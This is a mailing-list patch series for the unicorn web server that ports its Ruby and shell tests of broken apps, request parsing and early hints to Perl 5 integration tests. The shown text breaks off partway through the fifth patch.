* [PATCH 0/5..5/5] more tests to Perl 5 for stability
@ 2024-05-06 20:10 11% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2024-05-06 20:10 UTC (permalink / raw)
To: unicorn-public
[-- Attachment #1: Type: text/plain, Size: 1394 bytes --]
It's far easier to maintain tests in a language that's been
"dead" for 20 years :P This is another step towards freeing us
up to make more internal changes, too; as well as avoiding slow
Ruby startup overhead. (Perl 5 startup is slow, too, but not
nearly as slow as Ruby)
Eric Wong (5):
GNUmakefile: build writes shebang-modified files
t/*.t: use write_file helper function
tests: port broken-app test to Perl 5
tests: move test/unit/test_request.rb to Perl 5
port test/unit/test_ccc.rb to Perl 5
GNUmakefile | 1 +
t/active-unix-socket.t | 13 +--
t/broken-app.ru | 13 ---
t/client_body_buffer_size.t | 5 +-
t/heartbeat-timeout.t | 4 +-
t/integration.ru | 11 +++
t/integration.t | 128 +++++++++++++++++++++++++--
t/lib.perl | 2 +-
t/reload-bad-config.t | 17 ++--
t/reopen-logs.t | 5 +-
t/t0009-broken-app.sh | 56 ------------
t/winch_ttin.t | 7 +-
t/working_directory.t | 16 +---
test/unit/test_ccc.rb | 92 -------------------
test/unit/test_request.rb | 170 ------------------------------------
15 files changed, 153 insertions(+), 387 deletions(-)
delete mode 100644 t/broken-app.ru
delete mode 100755 t/t0009-broken-app.sh
delete mode 100644 test/unit/test_ccc.rb
delete mode 100644 test/unit/test_request.rb
[-- Attachment #2: 0001-GNUmakefile-build-writes-shebang-modified-files.patch --]
[-- Type: text/x-diff, Size: 772 bytes --]
From 5e9dbfd071aa939677aaf3d269115fb88e606311 Mon Sep 17 00:00:00 2001
From: Eric Wong <bofh@yhbt.net>
Date: Sun, 5 May 2024 22:15:35 +0000
Subject: [PATCH 1/5] GNUmakefile: build writes shebang-modified files
This makes it easier to run individual integration tests via
prove(1) rather than all at once with gmake(1).
---
GNUmakefile | 1 +
1 file changed, 1 insertion(+)
diff --git a/GNUmakefile b/GNUmakefile
index 70e7e10..227842c 100644
--- a/GNUmakefile
+++ b/GNUmakefile
@@ -78,6 +78,7 @@ man1_bins := $(addsuffix .1, $(base_bins))
man1_paths := $(addprefix man/man1/, $(man1_bins))
tmp_bins = $(addprefix $(tmp_bin)/, unicorn unicorn_rails)
pid := $(shell echo $$PPID)
+build: $(tmp_bins)
$(tmp_bin)/%: bin/% | $(tmp_bin)
$(INSTALL) -m 755 $< $@.$(pid)
[-- Attachment #3: 0002-t-.t-use-write_file-helper-function.patch --]
[-- Type: text/x-diff, Size: 8088 bytes --]
From 9cbf87fd110acc36c3b6eec14231aed3be78ecf4 Mon Sep 17 00:00:00 2001
From: Eric Wong <bofh@yhbt.net>
Date: Sun, 5 May 2024 22:15:36 +0000
Subject: [PATCH 2/5] t/*.t: use write_file helper function
This shortens the tests a bit for readability.
---
t/active-unix-socket.t | 13 +++----------
t/client_body_buffer_size.t | 5 ++---
t/heartbeat-timeout.t | 4 +---
t/integration.t | 5 ++---
t/reload-bad-config.t | 17 ++++++-----------
t/reopen-logs.t | 5 +----
t/winch_ttin.t | 7 ++-----
t/working_directory.t | 16 ++++------------
8 files changed, 21 insertions(+), 51 deletions(-)
diff --git a/t/active-unix-socket.t b/t/active-unix-socket.t
index ff731b5..ab3c973 100644
--- a/t/active-unix-socket.t
+++ b/t/active-unix-socket.t
@@ -11,29 +11,22 @@ END { kill('TERM', values(%to_kill)) if keys %to_kill }
my $u1 = "$tmpdir/u1.sock";
my $u2 = "$tmpdir/u2.sock";
{
- open my $fh, '>', "$tmpdir/u1.conf.rb";
- print $fh <<EOM;
+ write_file '>', "$tmpdir/u1.conf.rb", <<EOM;
pid "$tmpdir/u.pid"
listen "$u1"
stderr_path "$err_log"
EOM
- close $fh;
-
- open $fh, '>', "$tmpdir/u2.conf.rb";
- print $fh <<EOM;
+ write_file '>', "$tmpdir/u2.conf.rb", <<EOM;
pid "$tmpdir/u.pid"
listen "$u2"
stderr_path "$tmpdir/err2.log"
EOM
- close $fh;
- open $fh, '>', "$tmpdir/u3.conf.rb";
- print $fh <<EOM;
+ write_file '>', "$tmpdir/u3.conf.rb", <<EOM;
pid "$tmpdir/u3.pid"
listen "$u1"
stderr_path "$tmpdir/err3.log"
EOM
- close $fh;
}
my @uarg = qw(-D -E none t/integration.ru);
diff --git a/t/client_body_buffer_size.t b/t/client_body_buffer_size.t
index d479901..c8e871d 100644
--- a/t/client_body_buffer_size.t
+++ b/t/client_body_buffer_size.t
@@ -4,11 +4,10 @@
use v5.14; BEGIN { require './t/lib.perl' };
use autodie;
-open my $conf_fh, '>', $u_conf;
-$conf_fh->autoflush(1);
-print $conf_fh <<EOM;
+my $conf_fh = write_file '>', $u_conf, <<EOM;
client_body_buffer_size 0
EOM
+$conf_fh->autoflush(1);
my $srv = tcp_server();
my $host_port = tcp_host_port($srv);
my @uarg = (qw(-E none t/client_body_buffer_size.ru -c), $u_conf);
diff --git a/t/heartbeat-timeout.t b/t/heartbeat-timeout.t
index 694867a..0ae0764 100644
--- a/t/heartbeat-timeout.t
+++ b/t/heartbeat-timeout.t
@@ -6,14 +6,12 @@ use autodie;
use Time::HiRes qw(clock_gettime CLOCK_MONOTONIC);
mkdir "$tmpdir/alt";
my $srv = tcp_server();
-open my $fh, '>', $u_conf;
-print $fh <<EOM;
+write_file '>', $u_conf, <<EOM;
pid "$tmpdir/pid"
preload_app true
stderr_path "$err_log"
timeout 3 # WORST FEATURE EVER
EOM
-close $fh;
my $ar = unicorn(qw(-E none t/heartbeat-timeout.ru -c), $u_conf, { 3 => $srv });
diff --git a/t/integration.t b/t/integration.t
index d17ace0..93480fa 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -18,13 +18,12 @@ if ('ensure Perl does not set SO_KEEPALIVE by default') {
$val = getsockopt($srv, SOL_SOCKET, SO_KEEPALIVE);
}
my $t0 = time;
-open my $conf_fh, '>', $u_conf;
-$conf_fh->autoflush(1);
my $u1 = "$tmpdir/u1";
-print $conf_fh <<EOM;
+my $conf_fh = write_file '>', $u_conf, <<EOM;
early_hints true
listen "$u1"
EOM
+$conf_fh->autoflush(1);
my $ar = unicorn(qw(-E none t/integration.ru -c), $u_conf, { 3 => $srv });
my $curl = which('curl');
local $ENV{NO_PROXY} = '*'; # for curl
diff --git a/t/reload-bad-config.t b/t/reload-bad-config.t
index c023b88..4c17968 100644
--- a/t/reload-bad-config.t
+++ b/t/reload-bad-config.t
@@ -6,32 +6,27 @@ use autodie;
my $srv = tcp_server();
my $host_port = tcp_host_port($srv);
my $ru = "$tmpdir/config.ru";
-my $u_conf = "$tmpdir/u.conf.rb";
-open my $fh, '>', $ru;
-print $fh <<'EOM';
+write_file '>', $ru, <<'EOM';
use Rack::ContentLength
use Rack::ContentType, 'text/plain'
config = ru = "hello world\n" # check for config variable conflicts, too
run lambda { |env| [ 200, {}, [ ru.to_s ] ] }
EOM
-close $fh;
-open $fh, '>', $u_conf;
-print $fh <<EOM;
+write_file '>', $u_conf, <<EOM;
preload_app true
stderr_path "$err_log"
EOM
-close $fh;
my $ar = unicorn(qw(-E none -c), $u_conf, $ru, { 3 => $srv });
my ($status, $hdr, $bdy) = do_req($srv, 'GET / HTTP/1.0');
like($status, qr!\AHTTP/1\.[01] 200\b!, 'status line valid at start');
is($bdy, "hello world\n", 'body matches expected');
-open $fh, '>>', $ru;
-say $fh '....this better be a syntax error in any version of ruby...';
-close $fh;
+write_file '>>', $ru, <<'EOM';
+....this better be a syntax error in any version of ruby...
+EOM
$ar->do_kill('HUP'); # reload
my @l;
@@ -42,7 +37,7 @@ for (1..1000) {
}
diag slurp($err_log) if $ENV{V};
ok(grep(/error reloading/, @l), 'got error reloading');
-open $fh, '>', $err_log;
+open my $fh, '>', $err_log; # truncate
close $fh;
($status, $hdr, $bdy) = do_req($srv, 'GET / HTTP/1.0');
diff --git a/t/reopen-logs.t b/t/reopen-logs.t
index 76a4dbd..14bc6ef 100644
--- a/t/reopen-logs.t
+++ b/t/reopen-logs.t
@@ -4,14 +4,11 @@
use v5.14; BEGIN { require './t/lib.perl' };
use autodie;
my $srv = tcp_server();
-my $u_conf = "$tmpdir/u.conf.rb";
my $out_log = "$tmpdir/out.log";
-open my $fh, '>', $u_conf;
-print $fh <<EOM;
+write_file '>', $u_conf, <<EOM;
stderr_path "$err_log"
stdout_path "$out_log"
EOM
-close $fh;
my $auto_reap = unicorn('-c', $u_conf, 't/reopen-logs.ru', { 3 => $srv } );
my ($status, $hdr, $bdy) = do_req($srv, 'GET / HTTP/1.0');
diff --git a/t/winch_ttin.t b/t/winch_ttin.t
index c507959..3a3d430 100644
--- a/t/winch_ttin.t
+++ b/t/winch_ttin.t
@@ -4,13 +4,11 @@
use v5.14; BEGIN { require './t/lib.perl' };
use autodie;
use POSIX qw(mkfifo);
-my $u_conf = "$tmpdir/u.conf.rb";
my $u_sock = "$tmpdir/u.sock";
my $fifo = "$tmpdir/fifo";
mkfifo($fifo, 0666) or die "mkfifo($fifo): $!";
-open my $fh, '>', $u_conf;
-print $fh <<EOM;
+write_file '>', $u_conf, <<EOM;
pid "$tmpdir/pid"
listen "$u_sock"
stderr_path "$err_log"
@@ -19,11 +17,10 @@ after_fork do |server, worker|
File.open("$fifo", "wb") { |fp| fp.syswrite worker.nr.to_s }
end
EOM
-close $fh;
unicorn('-D', '-c', $u_conf, 't/integration.ru')->join;
is($?, 0, 'daemonized properly');
-open $fh, '<', "$tmpdir/pid";
+open my $fh, '<', "$tmpdir/pid";
chomp(my $pid = <$fh>);
ok(kill(0, $pid), 'daemonized PID works');
my $quit = sub { kill('QUIT', $pid) if $pid; $pid = undef };
diff --git a/t/working_directory.t b/t/working_directory.t
index f9254eb..f1c0a35 100644
--- a/t/working_directory.t
+++ b/t/working_directory.t
@@ -5,15 +5,13 @@ use v5.14; BEGIN { require './t/lib.perl' };
use autodie;
mkdir "$tmpdir/alt";
my $ru = "$tmpdir/alt/config.ru";
-open my $fh, '>', $u_conf;
-print $fh <<EOM;
+write_file '>', $u_conf, <<EOM;
pid "$pid_file"
preload_app true
stderr_path "$err_log"
working_directory "$tmpdir/alt" # the whole point of this test
before_fork { |_,_| \$master_ppid = Process.ppid }
EOM
-close $fh;
my $common_ru = <<'EOM';
use Rack::ContentLength
@@ -21,12 +19,10 @@ use Rack::ContentType, 'text/plain'
run lambda { |env| [ 200, {}, [ "#{$master_ppid}\n" ] ] }
EOM
-open $fh, '>', $ru;
-print $fh <<EOM;
+write_file '>', $ru, <<EOM;
#\\--daemonize --listen $u_sock
$common_ru
EOM
-close $fh;
unicorn('-c', $u_conf)->join; # will daemonize
chomp($daemon_pid = slurp($pid_file));
@@ -39,9 +35,7 @@ check_stderr;
if ('test without CLI switches in config.ru') {
truncate $err_log, 0;
- open $fh, '>', $ru;
- print $fh $common_ru;
- close $fh;
+ write_file '>', $ru, $common_ru;
unicorn('-D', '-l', $u_sock, '-c', $u_conf)->join; # will daemonize
chomp($daemon_pid = slurp($pid_file));
@@ -68,8 +62,7 @@ if ('ensures broken working_directory (missing config.ru) is OK') {
if ('fooapp.rb (not config.ru) works with working_directory') {
truncate $err_log, 0;
my $fooapp = "$tmpdir/alt/fooapp.rb";
- open $fh, '>', $fooapp;
- print $fh <<EOM;
+ write_file '>', $fooapp, <<EOM;
class Fooapp
def self.call(env)
b = "dir=#{Dir.pwd}"
@@ -78,7 +71,6 @@ class Fooapp
end
end
EOM
- close $fh;
my $srv = tcp_server;
my $auto_reap = unicorn(qw(-c), $u_conf, qw(-I. fooapp.rb),
{ -C => '/', 3 => $srv });
[-- Attachment #4: 0003-tests-port-broken-app-test-to-Perl-5.patch --]
[-- Type: text/x-diff, Size: 4208 bytes --]
From e61a1152a613032927613b805a46c4d831bad00c Mon Sep 17 00:00:00 2001
From: Eric Wong <bofh@yhbt.net>
Date: Sun, 5 May 2024 22:15:37 +0000
Subject: [PATCH 3/5] tests: port broken-app test to Perl 5
Save some inodes and startup time by folding it into the
integration test.
---
t/broken-app.ru | 13 ----------
t/integration.ru | 1 +
t/integration.t | 18 +++++++++++++-
t/lib.perl | 2 +-
t/t0009-broken-app.sh | 56 -------------------------------------------
5 files changed, 19 insertions(+), 71 deletions(-)
delete mode 100644 t/broken-app.ru
delete mode 100755 t/t0009-broken-app.sh
diff --git a/t/broken-app.ru b/t/broken-app.ru
deleted file mode 100644
index 5966bff..0000000
--- a/t/broken-app.ru
+++ /dev/null
@@ -1,13 +0,0 @@
-# frozen_string_literal: false
-# we do not want Rack::Lint or anything to protect us
-use Rack::ContentLength
-use Rack::ContentType, "text/plain"
-map "/" do
- run lambda { |env| [ 200, {}, [ "OK\n" ] ] }
-end
-map "/raise" do
- run lambda { |env| raise "BAD" }
-end
-map "/nil" do
- run lambda { |env| nil }
-end
diff --git a/t/integration.ru b/t/integration.ru
index 6df481c..3a0d99c 100644
--- a/t/integration.ru
+++ b/t/integration.ru
@@ -100,6 +100,7 @@ def rack_input_tests(env)
when '/early_hints_rack2'; early_hints(env, "r\n2")
when '/early_hints_rack3'; early_hints(env, %w(r 3))
when '/broken_app'; raise RuntimeError, 'hello'
+ when '/nil'; nil
else '/'; [ 200, {}, [ env_dump(env) ] ]
end # case PATH_INFO (GET)
when 'POST'
diff --git a/t/integration.t b/t/integration.t
index 93480fa..c9a7877 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -122,7 +122,23 @@ check_stderr;
($status, $hdr, $bdy) = do_req($srv, 'GET /broken_app HTTP/1.0');
like($status, qr!\AHTTP/1\.[0-1] 500\b!, 'got 500 error on broken endpoint');
is($bdy, undef, 'no response body after exception');
-truncate($errfh, 0);
+seek $errfh, 0, SEEK_SET;
+{
+ my $nxt;
+ while (!defined($nxt) && defined($_ = <$errfh>)) {
+ $nxt = <$errfh> if /app error/;
+ }
+ ok $nxt, 'got app error' and
+ like $nxt, qr/\bintegration\.ru/, 'got backtrace';
+}
+seek $errfh, 0, SEEK_SET;
+truncate $errfh, 0;
+
+($status, $hdr, $bdy) = do_req($srv, 'GET /nil HTTP/1.0');
+like($status, qr!\AHTTP/1\.[0-1] 500\b!, 'got 500 error on nil endpoint');
+like slurp($err_log), qr/app error/, 'exception logged for nil';
+seek $errfh, 0, SEEK_SET;
+truncate $errfh, 0;
my $ck_early_hints = sub {
my ($note) = @_;
diff --git a/t/lib.perl b/t/lib.perl
index 8c842b1..382f08c 100644
--- a/t/lib.perl
+++ b/t/lib.perl
@@ -30,7 +30,7 @@ $pid_file = "$tmpdir/pid";
$fifo = "$tmpdir/fifo";
$u_sock = "$tmpdir/u.sock";
$u_conf = "$tmpdir/u.conf.rb";
-open($errfh, '>>', $err_log);
+open($errfh, '+>>', $err_log);
if (my $t = $ENV{TAIL}) {
my @tail = $t =~ /tail/ ? split(/\s+/, $t) : (qw(tail -F));
diff --git a/t/t0009-broken-app.sh b/t/t0009-broken-app.sh
deleted file mode 100755
index 895b178..0000000
--- a/t/t0009-broken-app.sh
+++ /dev/null
@@ -1,56 +0,0 @@
-#!/bin/sh
-. ./test-lib.sh
-
-t_plan 9 "graceful handling of broken apps"
-
-t_begin "setup and start" && {
- unicorn_setup
- unicorn -E none -D broken-app.ru -c $unicorn_config
- unicorn_wait_start
-}
-
-t_begin "normal response is alright" && {
- test xOK = x"$(curl -sSf http://$listen/)"
-}
-
-t_begin "app raised exception" && {
- curl -sSf http://$listen/raise 2> $tmp || :
- grep -F 500 $tmp
- > $tmp
-}
-
-t_begin "app exception logged and backtrace not swallowed" && {
- grep -F 'app error' $r_err
- grep -A1 -F 'app error' $r_err | tail -1 | grep broken-app.ru:
- dbgcat r_err
- > $r_err
-}
-
-t_begin "trigger bad response" && {
- curl -sSf http://$listen/nil 2> $tmp || :
- grep -F 500 $tmp
- > $tmp
-}
-
-t_begin "app exception logged" && {
- grep -F 'app error' $r_err
- > $r_err
-}
-
-t_begin "normal responses alright afterwards" && {
- > $tmp
- curl -sSf http://$listen/ >> $tmp &
- curl -sSf http://$listen/ >> $tmp &
- curl -sSf http://$listen/ >> $tmp &
- curl -sSf http://$listen/ >> $tmp &
- wait
- test xOK = x$(sort < $tmp | uniq)
-}
-
-t_begin "teardown" && {
- kill $unicorn_pid
-}
-
-t_begin "check stderr" && check_stderr
-
-t_done
[-- Attachment #5: 0004-tests-move-test-unit-test_request.rb-to-Perl-5.patch --]
[-- Type: text/x-diff, Size: 11298 bytes --]
From 01224642a20e91de5ea18c6f20856142158068a8 Mon Sep 17 00:00:00 2001
From: Eric Wong <bofh@yhbt.net>
Date: Sun, 5 May 2024 22:15:38 +0000
Subject: [PATCH 4/5] tests: move test/unit/test_request.rb to Perl 5
Another step towards having more freedom to change our internals
and having a more stable language for tests to reduce
maintenance overhead by avoiding Ruby incompatibilities.
---
t/integration.ru | 6 ++
t/integration.t | 72 +++++++++++++++-
test/unit/test_request.rb | 170 --------------------------------------
3 files changed, 75 insertions(+), 173 deletions(-)
delete mode 100644 test/unit/test_request.rb
diff --git a/t/integration.ru b/t/integration.ru
index 3a0d99c..a6b022a 100644
--- a/t/integration.ru
+++ b/t/integration.ru
@@ -47,6 +47,7 @@ def env_dump(env)
else
case k
when 'rack.version', 'rack.after_reply'; h[k] = v
+ when 'rack.input'; h[k] = v.class.to_s
end
end
end
@@ -112,6 +113,11 @@ def rack_input_tests(env)
when 'PUT'
case env['PATH_INFO']
when %r{\A/rack_input}; rack_input_tests(env)
+ when '/env_dump'; [ 200, {}, [ env_dump(env) ] ]
+ end
+ when 'OPTIONS'
+ case env['REQUEST_URI']
+ when '*'; [ 200, {}, [ env_dump(env) ] ]
end
end # case REQUEST_METHOD
end) # run
diff --git a/t/integration.t b/t/integration.t
index c9a7877..3b1d6df 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -103,14 +103,75 @@ is_deeply([ grep(/^x-r3: /, @$hdr) ],
SKIP: {
eval { require JSON::PP } or skip "JSON::PP missing: $@", 1;
- ($status, $hdr, my $json) = do_req $srv, 'GET /env_dump';
+ my $get_json = sub {
+ my (@req) = @_;
+ my @r = do_req $srv, @req;
+ my $env = eval { JSON::PP->new->decode($r[2]) };
+ diag "$@ (r[2]=$r[2])" if $@;
+ is ref($env), 'HASH', "@req response body is JSON";
+ (@r, $env)
+ };
+ ($status, $hdr, my $json, my $env) = $get_json->('GET /env_dump');
is($status, undef, 'no status for HTTP/0.9');
is($hdr, undef, 'no header for HTTP/0.9');
unlike($json, qr/^Connection: /smi, 'no connection header for 0.9');
unlike($json, qr!\AHTTP/!s, 'no HTTP/1.x prefix for 0.9');
- my $env = JSON::PP->new->decode($json);
- is(ref($env), 'HASH', 'JSON decoded body to hashref');
is($env->{SERVER_PROTOCOL}, 'HTTP/0.9', 'SERVER_PROTOCOL is 0.9');
+ is $env->{'rack.url_scheme'}, 'http', 'rack.url_scheme default';
+ is $env->{'rack.input'}, 'StringIO', 'StringIO for no content';
+
+ my $req = 'OPTIONS *';
+ ($status, $hdr, $json, $env) = $get_json->("$req HTTP/1.0");
+ is $env->{REQUEST_PATH}, '', "$req => REQUEST_PATH";
+ is $env->{PATH_INFO}, '', "$req => PATH_INFO";
+ is $env->{REQUEST_URI}, '*', "$req => REQUEST_URI";
+
+ $req = 'GET http://e:3/env_dump?y=z';
+ ($status, $hdr, $json, $env) = $get_json->("$req HTTP/1.0");
+ is $env->{REQUEST_PATH}, '/env_dump', "$req => REQUEST_PATH";
+ is $env->{PATH_INFO}, '/env_dump', "$req => PATH_INFO";
+ is $env->{QUERY_STRING}, 'y=z', "$req => QUERY_STRING";
+
+ $req = 'GET http://e:3/env_dump#frag';
+ ($status, $hdr, $json, $env) = $get_json->("$req HTTP/1.0");
+ is $env->{REQUEST_PATH}, '/env_dump', "$req => REQUEST_PATH";
+ is $env->{PATH_INFO}, '/env_dump', "$req => PATH_INFO";
+ is $env->{QUERY_STRING}, '', "$req => QUERY_STRING";
+ is $env->{FRAGMENT}, 'frag', "$req => FRAGMENT";
+
+ $req = 'GET http://e:3/env_dump?a=b#frag';
+ ($status, $hdr, $json, $env) = $get_json->("$req HTTP/1.0");
+ is $env->{REQUEST_PATH}, '/env_dump', "$req => REQUEST_PATH";
+ is $env->{PATH_INFO}, '/env_dump', "$req => PATH_INFO";
+ is $env->{QUERY_STRING}, 'a=b', "$req => QUERY_STRING";
+ is $env->{FRAGMENT}, 'frag', "$req => FRAGMENT";
+
+ for my $proto (qw(https http)) {
+ $req = "X-Forwarded-Proto: $proto";
+ ($status, $hdr, $json, $env) = $get_json->(
+ "GET /env_dump HTTP/1.0\r\n".
+ "X-Forwarded-Proto: $proto");
+ is $env->{REQUEST_PATH}, '/env_dump', "$req => REQUEST_PATH";
+ is $env->{PATH_INFO}, '/env_dump', "$req => PATH_INFO";
+ is $env->{'rack.url_scheme'}, $proto, "$req => rack.url_scheme";
+ }
+
+ $req = 'X-Forwarded-Proto: ftp'; # invalid proto
+ ($status, $hdr, $json, $env) = $get_json->(
+ "GET /env_dump HTTP/1.0\r\n".
+ "X-Forwarded-Proto: ftp");
+ is $env->{REQUEST_PATH}, '/env_dump', "$req => REQUEST_PATH";
+ is $env->{PATH_INFO}, '/env_dump', "$req => PATH_INFO";
+ is $env->{'rack.url_scheme'}, 'http', "$req => rack.url_scheme";
+
+ ($status, $hdr, $json, $env) = $get_json->("PUT /env_dump HTTP/1.0\r\n".
+ 'Content-Length: 0');
+ is $env->{'rack.input'}, 'StringIO', 'content-length: 0 uses StringIO';
+
+ ($status, $hdr, $json, $env) = $get_json->("PUT /env_dump HTTP/1.0\r\n".
+ 'Content-Length: 1');
+ is $env->{'rack.input'}, 'Unicorn::TeeInput',
+ 'content-length: 1 uses TeeInput';
}
# cf. <CAO47=rJa=zRcLn_Xm4v2cHPr6c0UswaFC_omYFEH+baSxHOWKQ@mail.gmail.com>
@@ -179,6 +240,11 @@ if ('bad requests') {
($status, $hdr) = do_req $srv, 'GET /env_dump HTTP/1/1';
like($status, qr!\AHTTP/1\.[01] 400 \b!, 'got 400 on bad request');
+ for my $abs_uri (qw(ssh+http://e/ ftp://e/x http+ssh://e/x)) {
+ ($status, $hdr) = do_req $srv, "GET $abs_uri HTTP/1.0";
+ like $status, qr!\AHTTP/1\.[01] 400 \b!, "400 on $abs_uri";
+ }
+
$c = tcp_start($srv);
print $c 'GET /';
my $buf = join('', (0..9), 'ab');
diff --git a/test/unit/test_request.rb b/test/unit/test_request.rb
deleted file mode 100644
index 9d1b350..0000000
--- a/test/unit/test_request.rb
+++ /dev/null
@@ -1,170 +0,0 @@
-# -*- encoding: binary -*-
-# frozen_string_literal: false
-
-# Copyright (c) 2009 Eric Wong
-# You can redistribute it and/or modify it under the same terms as Ruby 1.8 or
-# the GPLv2+ (GPLv3+ preferred)
-
-require './test/test_helper'
-
-include Unicorn
-
-class RequestTest < Test::Unit::TestCase
-
- MockRequest = Class.new(StringIO)
-
- AI = Addrinfo.new(Socket.sockaddr_un('/unicorn/sucks'))
-
- def setup
- @request = HttpRequest.new
- @app = lambda do |env|
- [ 200, { 'content-length' => '0', 'content-type' => 'text/plain' }, [] ]
- end
- @lint = Rack::Lint.new(@app)
- end
-
- def test_options
- client = MockRequest.new("OPTIONS * HTTP/1.1\r\n" \
- "Host: foo\r\n\r\n")
- env = @request.read_headers(client, AI)
- assert_equal '', env['REQUEST_PATH']
- assert_equal '', env['PATH_INFO']
- assert_equal '*', env['REQUEST_URI']
- assert_kind_of Array, @lint.call(env)
- end
-
- def test_absolute_uri_with_query
- client = MockRequest.new("GET http://e:3/x?y=z HTTP/1.1\r\n" \
- "Host: foo\r\n\r\n")
- env = @request.read_headers(client, AI)
- assert_equal '/x', env['REQUEST_PATH']
- assert_equal '/x', env['PATH_INFO']
- assert_equal 'y=z', env['QUERY_STRING']
- assert_kind_of Array, @lint.call(env)
- end
-
- def test_absolute_uri_with_fragment
- client = MockRequest.new("GET http://e:3/x#frag HTTP/1.1\r\n" \
- "Host: foo\r\n\r\n")
- env = @request.read_headers(client, AI)
- assert_equal '/x', env['REQUEST_PATH']
- assert_equal '/x', env['PATH_INFO']
- assert_equal '', env['QUERY_STRING']
- assert_equal 'frag', env['FRAGMENT']
- assert_kind_of Array, @lint.call(env)
- end
-
- def test_absolute_uri_with_query_and_fragment
- client = MockRequest.new("GET http://e:3/x?a=b#frag HTTP/1.1\r\n" \
- "Host: foo\r\n\r\n")
- env = @request.read_headers(client, AI)
- assert_equal '/x', env['REQUEST_PATH']
- assert_equal '/x', env['PATH_INFO']
- assert_equal 'a=b', env['QUERY_STRING']
- assert_equal 'frag', env['FRAGMENT']
- assert_kind_of Array, @lint.call(env)
- end
-
- def test_absolute_uri_unsupported_schemes
- %w(ssh+http://e/ ftp://e/x http+ssh://e/x).each do |abs_uri|
- client = MockRequest.new("GET #{abs_uri} HTTP/1.1\r\n" \
- "Host: foo\r\n\r\n")
- assert_raises(HttpParserError) { @request.read_headers(client, AI) }
- end
- end
-
- def test_x_forwarded_proto_https
- client = MockRequest.new("GET / HTTP/1.1\r\n" \
- "X-Forwarded-Proto: https\r\n" \
- "Host: foo\r\n\r\n")
- env = @request.read_headers(client, AI)
- assert_equal "https", env['rack.url_scheme']
- assert_kind_of Array, @lint.call(env)
- end
-
- def test_x_forwarded_proto_http
- client = MockRequest.new("GET / HTTP/1.1\r\n" \
- "X-Forwarded-Proto: http\r\n" \
- "Host: foo\r\n\r\n")
- env = @request.read_headers(client, AI)
- assert_equal "http", env['rack.url_scheme']
- assert_kind_of Array, @lint.call(env)
- end
-
- def test_x_forwarded_proto_invalid
- client = MockRequest.new("GET / HTTP/1.1\r\n" \
- "X-Forwarded-Proto: ftp\r\n" \
- "Host: foo\r\n\r\n")
- env = @request.read_headers(client, AI)
- assert_equal "http", env['rack.url_scheme']
- assert_kind_of Array, @lint.call(env)
- end
-
- def test_rack_lint_get
- client = MockRequest.new("GET / HTTP/1.1\r\nHost: foo\r\n\r\n")
- env = @request.read_headers(client, AI)
- assert_equal "http", env['rack.url_scheme']
- assert_equal '127.0.0.1', env['REMOTE_ADDR']
- assert_kind_of Array, @lint.call(env)
- end
-
- def test_no_content_stringio
- client = MockRequest.new("GET / HTTP/1.1\r\nHost: foo\r\n\r\n")
- env = @request.read_headers(client, AI)
- assert_equal StringIO, env['rack.input'].class
- end
-
- def test_zero_content_stringio
- client = MockRequest.new("PUT / HTTP/1.1\r\n" \
- "Content-Length: 0\r\n" \
- "Host: foo\r\n\r\n")
- env = @request.read_headers(client, AI)
- assert_equal StringIO, env['rack.input'].class
- end
-
- def test_real_content_not_stringio
- client = MockRequest.new("PUT / HTTP/1.1\r\n" \
- "Content-Length: 1\r\n" \
- "Host: foo\r\n\r\n")
- env = @request.read_headers(client, AI)
- assert_equal Unicorn::TeeInput, env['rack.input'].class
- end
-
- def test_rack_lint_put
- client = MockRequest.new(
- "PUT / HTTP/1.1\r\n" \
- "Host: foo\r\n" \
- "Content-Length: 5\r\n" \
- "\r\n" \
- "abcde")
- env = @request.read_headers(client, AI)
- assert ! env.include?(:http_body)
- assert_kind_of Array, @lint.call(env)
- end
-
- def test_rack_lint_big_put
- count = 100
- bs = 0x10000
- buf = (' ' * bs).freeze
- length = bs * count
- client = Tempfile.new('big_put')
- client.syswrite(
- "PUT / HTTP/1.1\r\n" \
- "Host: foo\r\n" \
- "Content-Length: #{length}\r\n" \
- "\r\n")
- count.times { assert_equal bs, client.syswrite(buf) }
- assert_equal 0, client.sysseek(0)
- env = @request.read_headers(client, AI)
- assert ! env.include?(:http_body)
- assert_equal length, env['rack.input'].size
- count.times {
- tmp = env['rack.input'].read(bs)
- tmp << env['rack.input'].read(bs - tmp.size) if tmp.size != bs
- assert_equal buf, tmp
- }
- assert_nil env['rack.input'].read(bs)
- env['rack.input'].rewind
- assert_kind_of Array, @lint.call(env)
- end
-end
[-- Attachment #6: 0005-port-test-unit-test_ccc.rb-to-Perl-5.patch --]
[-- Type: text/x-diff, Size: 6013 bytes --]
From d6d127f50f9225bf51ef6ce0abce9bad87efaae3 Mon Sep 17 00:00:00 2001
From: Eric Wong <bofh@yhbt.net>
Date: Sun, 5 May 2024 22:15:39 +0000
Subject: [PATCH 5/5] port test/unit/test_ccc.rb to Perl 5
We'll fold this into integration.t to reduce startup time
penalties and get the benefit of a stable language to reduce
maintenance overhead.
---
t/integration.ru | 4 ++
t/integration.t | 33 ++++++++++++++++
test/unit/test_ccc.rb | 92 -------------------------------------------
3 files changed, 37 insertions(+), 92 deletions(-)
delete mode 100644 test/unit/test_ccc.rb
diff --git a/t/integration.ru b/t/integration.ru
index a6b022a..aaed608 100644
--- a/t/integration.ru
+++ b/t/integration.ru
@@ -87,6 +87,7 @@ def rack_input_tests(env)
[ 200, h, [ dig.hexdigest ] ]
end
+$nr_aborts = 0
run(lambda do |env|
case env['REQUEST_METHOD']
when 'GET'
@@ -101,7 +102,10 @@ def rack_input_tests(env)
when '/early_hints_rack2'; early_hints(env, "r\n2")
when '/early_hints_rack3'; early_hints(env, %w(r 3))
when '/broken_app'; raise RuntimeError, 'hello'
+ when '/aborted'; $nr_aborts += 1; [ 200, {}, [] ]
+ when '/nr_aborts'; [ 200, { 'nr-aborts' => "#$nr_aborts" }, [] ]
when '/nil'; nil
+ when '/read_fifo'; [ 200, {}, [ File.read(env['HTTP_READ_FIFO']) ] ]
else '/'; [ 200, {}, [ env_dump(env) ] ]
end # case PATH_INFO (GET)
when 'POST'
diff --git a/t/integration.t b/t/integration.t
index 3b1d6df..2d448cd 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -405,6 +405,39 @@ EOM
my $wpid = readline($fifo_fh);
like($wpid, qr/\Apid=\d+\z/a , 'new worker ready');
$ck_early_hints->('ccc on');
+
